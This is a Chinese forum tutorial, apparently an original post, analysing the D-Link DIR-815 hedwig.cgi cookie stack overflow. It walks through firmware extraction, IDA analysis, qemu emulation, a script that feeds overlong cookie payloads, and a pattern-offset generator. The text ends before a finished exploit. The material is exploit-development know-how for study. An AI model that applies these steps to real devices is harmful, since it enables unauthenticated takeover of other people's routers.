首页
论坛
课程
招聘
[原创]家用路由器漏洞挖掘实例分析[图解D-LINK DIR-815多次溢出漏洞]
2021-7-29 09:50 19515

[原创]家用路由器漏洞挖掘实例分析[图解D-LINK DIR-815多次溢出漏洞]

2021-7-29 09:50
19515

D-LINK DIR-815多次溢出漏洞

目录

说明

原创作者:herculiz

 

以下内容纯原创辛苦手打,望大家多多支持。

 

首先感谢各位以下相关链接前辈师傅的知识分享精神,才萌生了本文。

 

由于年限及知识的更新,笔者觉得过去许多描述可能对新手不太友好(自己的痛苦经历),所以对其进行了补充及概述。

所需相关资源

  • 固件下载:ftp://ftp2.dlink.com/PRODUCTS/DIR-815/REVA/DIR-815_FIRMWARE_1.01.ZIP

  • gdbserver各架构对应调试文件(已经编译好了可以直接使用):https://github.com/rapid7/embedded-tools/tree/master/binaries/gdbserver

  • IDA6.8/IDA7.5:一个用在ubuntu调试,一个用在windows调试(7.5有更高级的mips反汇编器,可以方便参考伪代码)。或者谢安在Ghidra工具,专门反汇编反编译mips架构程序,目前只用于静态分析。
  • qemu-mips仿真的相关内核和虚拟硬盘(这里有坑,后面在说,总之一定要两者内核虚拟硬盘匹配):https://people.debian.org/~aurel32/qemu/

漏洞介绍

exploitdb介绍:https://www.exploit-db.com/exploits/33863

 

图片描述

1
2
Buffer overflow on “hedwig.cgi”
Another buffer overflow affects the “hedwig.cgi” CGI script. Unauthenticated remote attackers can invoke this CGI with an overly-long cookie value that can overflow a program buffer and overwrite the saved program address.

从漏洞公告中可以看出,该漏洞存在于名为“hedwig.cgi”的CGI脚本中,未认证攻击者通过调用这个CGI脚本传递一个超长的Cookie值,使得程序栈溢出,从而获得路由器的远程控制权限。

漏洞分析

漏洞定位

1,binwalk -Me解压提取固件

 

图片描述

 

2,

 

该漏洞的核心组件为hedwig.cgi,find . -name '*cgi'查找文件,并ls -l ./htdocs/web/hedwig.cgi发现hedwig.cgi是指向./htdocs/cgibin的符号链接,也就是说真正的漏洞代码在cgibin中。
图片描述

IDA静态调试分析-定位漏洞溢出点

1,用IDA静态调试cgibin文件,hedwigcgi_main函数处理真个过程,由于是HTTP_COOK这个字段引起的漏洞溢出点,可以在IDA(SHIFT+F12)搜索字符串,然后通过X,交叉引用来跟踪到hedwigcgi_main函数条用的位置。

 

图片描述

 

图片描述

 

跟踪到主函数的位置,对函数功能进行大致分析,或者利用Ghidra或IDA7.5反汇编hedwigcgi_main函数,可以定位到其中的sprintf函数引起了栈溢出(其实在后面还有一个sprintf函数调用,它才是真实环境利用的位置,后面讲解说明)。hedwigcgi_main函数通过sess_get_uid()获取到HTTP_COOKIEuid=之后的值,并将该内容按照sprintf函数中格式化字符串给定的形式拷贝到栈中,由于没有检测并限制输入的大小,导致栈溢出。

 

图片描述

 

参考1:函数功能流程说明

IDA动态调试-确定偏移位置(手动+自动两种方法)

这里需要用到qemu+IDA动态调试的方法:参考2:qemu+IDA动态调试

 

此处是qemu用户模式下仿真程序启动,qemu有两种模式,用户模式系统模式,详细工具使用这在不影响思路的情况下为了避免篇幅冗余过长就省略了。

 

图片描述

 

文件时小端有效的mips指令集,我们使用qemu-mipsel

 

注意: qemu-mipsel 由于依赖各种动态库,避免出现各种问题,我们这里手动复制库到当前目录下(squashfs-root目录下)

 

1,查看qemu-mipsel依赖的libc

 

图片描述

 

2,直接创建后面的目录名,并复制动态链接库

1
2
3
4
5
6
7
8
9
10
11
12
13
mkdir -p ./usr/lib/
mkdir -p ./lib/x86_64-linux-gnu/
mkdir -p ./lib64/
cp -p /usr/lib/x86_64-linux-gnu/libgmodule-2.0.so.0  ./usr/lib/
cp -p /lib/x86_64-linux-gnu/libglib-2.0.so.0  ./lib/x86_64-linux-gnu/
cp -p /lib/x86_64-linux-gnu/librt.so.1  ./lib/x86_64-linux-gnu/
cp -p /lib/x86_64-linux-gnu/libm.so.6  ./lib/x86_64-linux-gnu/
cp -p /lib/x86_64-linux-gnu/libgcc_s.so.1  ./lib/x86_64-linux-gnu/
cp -p /lib/x86_64-linux-gnu/libpthread.so.0  ./lib/x86_64-linux-gnu/
cp -p /lib/x86_64-linux-gnu/libc.so.6  ./lib/x86_64-linux-gnu/
cp -p /lib/x86_64-linux-gnu/libdl.so.2  ./lib/x86_64-linux-gnu/
cp -p /lib/x86_64-linux-gnu/libpcre.so.3  ./lib/x86_64-linux-gnu/
cp -p /lib64/ld-linux-x86-64.so.2  ./lib64/

3,通过脚本调试

 

当然也能直接通过以下参数方式调试,但个人感觉用习惯了脚本方式能更方便的修改参数内容和视觉上的简约。

 

sudo chroot ./ ./qemu-mipsel -E CONTENT_LENGTH=20 -E CONTENT_TYPE="application/x-www-form-urlencoded" -E REQUEST_METHOD="POST" -E HTTP_COOKIE=python -c "print 'uid=123'+'A'*0x600"-E REQUEST_URI="/hedwig.cgi" -E REMOTE_ADDR="192.168.x.x" -g 1234 ./htdocs/web/hedwig.cgi

 

3.1自己编写的调试tesh.sh脚本

1
2
3
4
5
6
7
8
9
10
11
12
#!/bin/bash
#注意:里面=和变量之间一定不要有空格,坑,否则读入空数据。
#test=$(python -c "print 'uid='+open('content','r').read(2000)") #方式一,以文件形式读入内容,提前填充好构造的数据到content文件
#test=$(python -c "print 'uid=' + 'A'*0x600" )#方式二,直接后面接数据内容
test=$(python -c "print 'uid='+open('exploit','r').read()")
#test =$(python -c "print 'uid=' + 'A'*1043 + 'B'*4")#可选构造数据
 
LEN=$(echo -n "$test" | wc -c)    #如果有看《揭秘家用路由器0day漏洞挖掘技术》书的同学,书上这里应该是填错了
PORT="1234"
cp $(which qemu-mipsel) ./qemu
sudo chroot . ./qemu -E CONTENT_LENGTH=$LEN -E CONTENT_TYPE="application/x-www-form-urlencoded" -E REQUEST_METHOD="POST" -E HTTP_COOKIE=$test -E REQUEST_URL="/hedwig.cgi" -E REMOTE_ADDR="127.0.0.1" -g $PORT /htdocs/web/hedwig.cgi 2>/dev/null    #-E参数:加入环境变量 ;2>/dev/null :不输出提示错误
rm -f ./qemu

3.2利用patternLocOffset.py生成content文件,包含特定格式的2000个字符串。

1
python patternLocOffset.py -c -l 2000 -f content

patternLocOffset.py源码附上(当然像cyclic这种工具也一样能实现同样效果):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
# coding:utf-8
'''
生成定位字符串:轮子直接使用
'''
 
import argparse
import struct
import binascii
import string
import sys
import re
import time
a ="ABCDEFGHIJKLMNOPQRSTUVWXYZ"
b ="abcdefghijklmnopqrstuvwxyz"
c = "0123456789"
def generate(count,output):
    # pattern create
    codeStr =''
    print '[*] Create pattern string contains %d characters'%count
    timeStart = time.time()
    for i in range(0,count):
        codeStr += a[i/(26*10)] + b[(i%(26*10))/10] + c[i%(26*10)%10]
    print 'ok!'
    if output:
        print '[+] output to %s'%output
        fw = open(output,'w')
        fw.write(codeStr)
        fw.close()
        print 'ok!'
    else:
        return codeStr
    print "[+] take time: %.4f s"%(time.time()-timeStart)
 
def patternMatch(searchCode, length=1024):
 
   # pattern search
   offset = 0
   pattern = None
 
   timeStart = time.time()
   is0xHex = re.match('^0x[0-9a-fA-F]{8}',searchCode)
   isHex = re.match('^[0-9a-fA-F]{8}',searchCode)
 
   if is0xHex:
       #0x41613141
       pattern = binascii.a2b_hex(searchCode[2:])
   elif isHex:
       pattern = binascii.a2b_hex(searchCode)
   else:
       print  '[-] seach Pattern eg:0x41613141'
       sys.exit(1)
 
   source = generate(length,None)
   offset = source.find(pattern)
 
   if offset != -1: # MBS
       print "[*] Exact match at offset %d" % offset
   else:
       print
       "[*] No exact matches, looking for likely candidates..."
       reverse = list(pattern)
       reverse.reverse()
       pattern = "".join(reverse)
       offset = source.find(pattern)
 
       if offset != -1:
           print "[+] Possible match at offset %d (adjusted another-endian)" % offset
 
   print "[+] take time: %.4f s" % (time.time() - timeStart)
 
def mian():
   '''
   parse argument
   '''
   parser = argparse.ArgumentParser()
   parser.add_argument('-s', '--search', help='search for pattern')
   parser.add_argument('-c', '--create', help='create a pattern',action='store_true')
   parser.add_argument('-f','--file',help='output file name',default='patternShell.txt')
   parser.add_argument('-l', '--length', help='length of pattern code',type=int, default=1024)
   args = parser.parse_args()
   '''
   save all argument
   '''
   length= args.length
   output = args.file
   createCode = args.create
   searchCode = args.search